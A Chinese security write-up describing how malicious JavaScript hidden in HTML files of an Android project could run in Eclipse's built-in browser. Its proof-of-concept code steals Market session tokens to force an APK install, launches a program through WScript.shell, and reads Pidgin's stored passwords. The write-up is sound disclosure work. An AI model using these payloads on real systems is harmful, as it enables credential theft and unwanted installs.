<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    Android應用安全之開發環境帶來的危險

    
    by SuperHei_at_www.80vul.com
    
    
    一、前言
    
       在去年的文檔《WEB2.0下的滲透測試》里提到了一點就是在2.0時代,攻擊者的攻擊方式
    是針對攻擊的目標身份而變化的。對于開發人員來說,開發環境的安全問題一直是被忽視
    的,雖然這類問題提了很多年了。本文就是以andriod開發環境里編輯器的一個小問題展開
    的...
    
    二、android的開發環境簡介
    
        1、安裝JDK :http://www.oracle.com/technetwork/java/javase/downloads/index.html
        2、安裝Eclipse :http://www.eclipse.org/downloads/
        3、安裝ADT插件:打開Eclipse,依次Help--->install new software-->ADD-->Location:
           https://dl-ssl.google.com/Android/eclipse/-->OK
        4、安裝Android SDK
    
    三、Eclipse的瀏覽器的漏洞
       
        以上環境配置好了后,對于開發人員來說最常用的肯定就是IDE了也就是著名的編輯器
    Eclipse,在我使用Eclipse的過程中發現了一個小問題,那就是Eclipse的瀏覽器在windows
    下直接調用IE內核來實現的,而在非windows下使用的是WEBKit核心的瀏覽器。對于這樣的簡
    陋的瀏覽器有一個通病,那就是安全防御薄弱。具體在Eclipse里,有個致命的問題那就是,
    當開發者點擊html文件時,默認情況下,它調用的不是編輯界面,而是瀏覽器里運行!而且
    是沒有任何安全提示下通過file://偽協議下執行html文件里的javascript代碼,大家都知
    道,可以在file://里執行js就意味著一個“跨域”漏洞可能....
    
    四、apk代碼結構與html文件
    
        下面是我在網絡上下載的一個apk代碼包,它的目錄結構如下:
    C:\android\Test>tree /f
    文件夾 PATH 列表
    C:.
    │  .classpath
    │  .project
    │  AndroidManifest.xml
    │  proguard.cfg
    │  project.properties
    │  readme.htm
    │
    ├─assets
    │      index.htm
    │
    ├─bin
    │  ├─classes
    │  │  └─com
    │  │      └─szy
    │  │          └─test
    │  │                  MainActivity.class
    │  │
    │  ├─com
    │  │  └─szy
    │  │      └─test
    │  │              MainActivity.class
    │  │
    │  └─res
    ├─gen
    ├─res
    │  ├─drawable-hdpi
    │  │      icon.png
    │  │
    │  ├─drawable-ldpi
    │  │      icon.png
    │  │
    │  ├─drawable-mdpi
    │  │      icon.png
    │  │
    │  ├─layout
    │  │      main.xml
    │  │
    │  └─values
    │          strings.xml
    │
    └─src
        └─com
            └─szy
                └─test
                        MainActivity.java
    
    在這個代碼里我看到了兩處html文件:
    1、./readme.htm 這個常用的代碼作者提過的readme文件。
    2、./assets/index.htm res目錄和assets目錄是存放資源文件的兩個目錄,不同的是/assets
    目錄下的資源文件不會在R.java自動生成ID。
    
    所以這個2個地方將是我們放置和html文件引入邪惡的javascript絕佳場所!! 
    
    五、通向手機之路
    
    我們在要實現從PC上到手機上安裝執行我們的惡意apk,常用的有2個途徑:
    
    1、在手機通過USB連接到PC的情況下,使用adb shell來控制。
    2、在pc瀏覽器登錄到market[https://market.android.com/]上下載安裝apk。
    
    下面我們看看怎么通過Eclipse的瀏覽器執行JS來實現上面的兩個途徑:對于Eclipse的瀏覽
    器在windows和非windows平臺上的設計是不相同的,那就決定了我們的攻擊方式的不同。
    
    A、windows平臺下的途徑
    
    windows平臺下Eclipse的瀏覽器是基于IE內核(Trident)的,對于IE來說file://下執行的
    js就意味著擁有“我的電腦”域的權限,雖然微軟在IE的安全上做了不少工作,但是在本地
    文件的安全還遠遠不夠,最起碼file://下的xmlhttp完全不設防...,另外微軟更多的安全措
    施是基于ie的,而不是ie內核(Trident)上的,所以對于第三方的ie內核瀏覽器的安全防御那
    就更加薄弱了。
    
    a、通過market的方式
    在windows下Eclipse的瀏覽器是基于IE內核來實現的,對于IE內核的瀏覽器來說,有個特點
    那就是Cookie通用,也就是說IE登錄market后,Eclipse的瀏覽器也在登錄market的狀態。所
    以我們就可以通過我們插入的js來實現跨market.android.com域,在market上任意執行js,
    來實現惡意apk的下載安裝。當然這個的前提是你可以把你的惡意代碼放到market上,如果是
    用你自己的號,那么你最起碼需要支付25刀的開戶費給Google,不過或許你可以直接使用被
    攻擊者的帳號?! 另外你的apk需要通過google的審查! 所謂“道理是曲折的,前途是光明
    的”? :)
    
    這個過程如下:
    
      攻擊者-->上傳包含了惡意Html文件的代碼包 ------------+---------------+-------------------+-----------------------+---------------上傳惡意APK到 market.android.com                           
                         ||                                                                                                                  || 
    被攻擊者-->下載包含了惡意Html文件的代碼包-->Eclipse的瀏覽器打開惡意html[JS]-->通過跨域到market.android.com-->JS實現自動下載安裝惡意APK-->Mobile[andoid]
    
    
    其實這個過程類似于market.android.com上xss攻擊的效果,詳見大牛jonoberheide的blog
    《How I Almost Won Pwn2Own via XSS》[1]
    
    演示代碼如下:
    
    <script>
    var request = false;
            if(window.XMLHttpRequest) {
                request = new XMLHttpRequest();
                if(request.overrideMimeType) {
                    request.overrideMimeType('text/xml');
                }
            } else if(window.ActiveXObject) {
                var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 
                'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 
                'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
                for(var i=0; i<versions.length; i++) {
                    try {
                        request = new ActiveXObject(versions[i]);
                    } catch(e) {}
                }
            }
            
    xmlhttp=request;
    
    var apkid="com.tencent.qqpimsecure";
    
    xmlhttp.open("GET", "https://market.android.com/", false);
    xmlhttp.send(null);
    var ret = xmlhttp.responseText;
    
    var regx = /userEmail: '(.*)', userG/
    var rs= regx.exec(ret);
    var gmail = rs[1];
    
    var regx = /selectedDeviceId: '(.*)', absoluteBaseUrl/
    var rs= regx.exec(ret);
    var deviceId = rs[1];
    
    var regx = /token: '(.*)', locale/
    var rs= regx.exec(ret);
    var token = rs[1];
    
    alert("gmail:"+gmail+"\n"+"DeviceId:"+deviceId+"\n"+"token:"+token);
    
    xmlhttp.open("POST", "https://market.android.com/install", false);
    xmlhttp.setRequestHeader("Referer", "https://market.android.com/");
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    xmlhttp.send(unescape("id="+apkid+"&offerType=1&device="+deviceId+"&xhr=1&token="+token));
    
    </script>
    
    b、通過WSH執行adb shell的方式
    在ie內核的瀏覽器里file://本地文件是在“我的電腦”域執行的[在沒有MOTW標志的情況
    下],在“我的電腦”域是可以執行WSH的只不過,在多年的縫縫補補下IE執行WSH是有安全提
    示的,不過對于一些沒有安全意識開發人員來說,或許很容易點擊"YES"?!! 演示代碼如下:
    
    <script>new ActiveXObject("WScript.shell").Run('calc.exe',1,true);</script>
    
    
    B、非windows平臺下的途徑
    
    對于market途徑來說,Eclipse的瀏覽器是通過webkit來實現的,它沒有IE那樣的特性,所以
    如果要通過market來實現的話,前提條件是Eclipse的瀏覽器的瀏覽器已經登錄了market,要
    不然是沒有辦法的。然后webkit也沒有類似與WSH等直接的方法,那么我們還有什么思路呢?
    和IE內核的第三方瀏覽器一樣,第三方的防御都很薄弱,比如這里的Eclipse的瀏覽器,對于
    xmlhttp讀取本地文件也是被允許的。所以如果有本地google的帳號密碼保存的文件,我們讀
    取后直接登錄market了...,一切都有可能!Pidgin保存的用戶帳號密碼都是用明文方式保存
    在~/.purple/accounts.xml文件里,只要被攻擊者是使用Pidgin登錄Gtalk的話,我們就有機
    會!!!
    
    對于~目錄,是當前用戶目錄,所以使用絕對路徑時需要知道系統用戶名,這個不太好得
    到,那么對于Eclipse的workspace目錄也是在~目錄下,那么我們就可以用相對路徑的方式
    來讀取accounts.xml,而不需要知道系統用戶名,演示代碼如下:
    
    <script>
    function XMLHttp() { xmlhttpOK = false; var xmlhttp=null; if (window.XMLHttpRequest){ 
    xmlhttp = new XMLHttpRequest(); } else{ 
     if (window.ActiveXObject){ try { 
                  xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); 
              } catch(e) {
                 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); 
                   } 
                }
            }
            return xmlhttp; 
        }
        
    var xhr=new XMLHttp();
    function postURLRet(url, data){
        if(xhr)    {
            xhr.open("POST",url,false);
            xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xhr.send(data);
            return xhr.responseText;
        }
        return "";
    }
    var ret = postURLRet("../../../.purple/accounts.xml", null);
    alert(ret);
    </script>
    
    六、消失的代碼
    
    對于有點安全意識的開發人員來說,有可能查看代碼,對于windows平臺來說,ie內核的瀏覽
    器是支持“右鍵-->查看源文件“的經典方式的,在非windows平臺下的webkit方式不支持這
    種方式。對于這樣的方式查看代碼的方式我們可以所用“Original Source Forgery”(詳見[2])
    的方法來讓我們的代碼“消失”。
    
    不過值得注意的是,原來代碼里的直接使用的是:
    
    ajax('GET',location, 
    	function(req){
           ....
    }
    
    ajax函數里直接使用location但是目前ie已經禁止使用xmlhttp請求本地文件了,所以我們可
    以把你的惡意html文件copy一份在遠程的web主機上,然后使用http,或者你自己手工寫在代
    碼里。
    
    但是對于Eclipse來說打開html只是默認打開方式是瀏覽器,也就是說好友其他的方式(選擇
    html文件右鍵-->Open With)其中有個“Text Editor”方式打開的話,你的代碼還是一覽無
    遺。不過對于老版本的Eclipse來說,編輯器存在著一個漏洞可以隱藏你的代碼:
    《Nullbytes hide code on Eclipse 3.5》 by Mario Heiderich [3]
    
    
    七、惡意apk的實現
    這里不是說怎么去實現一個惡意的apk,只是簡單的說2個問題:
    
    在上面通過market的方式在目標的手機上安裝了你的apk,但是不會立刻馬上啟動你的apk,
    所以第一個問題就是怎么啟動你的apk:
    
    A、通過BroadcastReceiver的組建實現,這個的結果是必須等待手機的重啟。
    B、通過設置android:scheme的方法,通過被動的觸發這個scheme來實現啟動[比如通過短信
    或者郵件的方式發送url,url頁面里代碼使用<iframe src=scheme://xx>來啟動]。
    
    第二個問題的是“惡意apk的職能”,也就是說你的控制目標手機的目的,就目前市面上的
    Android Malware來看基本都是以盜取信息為目的,對于大炒APT(Advanced Persistent 
    Threat)的時代,對于移動設備控制的目的應該有新的詮釋,移動設備在APT過程里應該只是
    流程的一個小部分,也就是把你的帶入目標網絡里的一個途徑。所以就這個目的來看,以后
    的惡意apk開發可能圍繞局域網里的網絡自動掃描攻擊而展開...
    
    
    八、小結
    
    上面提到主要有下面幾個問題:
    
    1、 Eclipse的問題:
         i、默認方式所用了瀏覽器方式打開html文件。
        ii、瀏覽器對javascript沒有安全提示就直接運行。
    2、 Android market對于下載安裝等敏感操沒有考慮防御xss下的csrf情況[如所用驗證碼的方式]。
    
    很多人把一些安全問題歸結到"用戶缺少安全意識"的結論上,其實不然,對于現在的安全理
    念我們的"官方"應該考慮到某些用戶存在著"缺少安全意識"情況,所以在我們的功能或者
    UI設計上要考慮到這中情況,盡量減少"安全隱患",比如上面提到的Eclipse在處理html文件
    的方式上,可以改為默認為編輯狀態。另外對于Android market應該考慮到得到token的情況
    下的csrf的情況,可以考慮危險的操作可以設置驗證碼等等,一切都以"不要你的用戶為安全
    漏洞買單"為目標,這才是王道!
    
    九、參考
    [1]http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/
    [2]http://www.scriptjunkie.us/2011/09/original-source-forgery/
    [3]https://bugs.eclipse.org/bugs/show_bug.cgi?id=283231
    
    -EOF-
    
    97av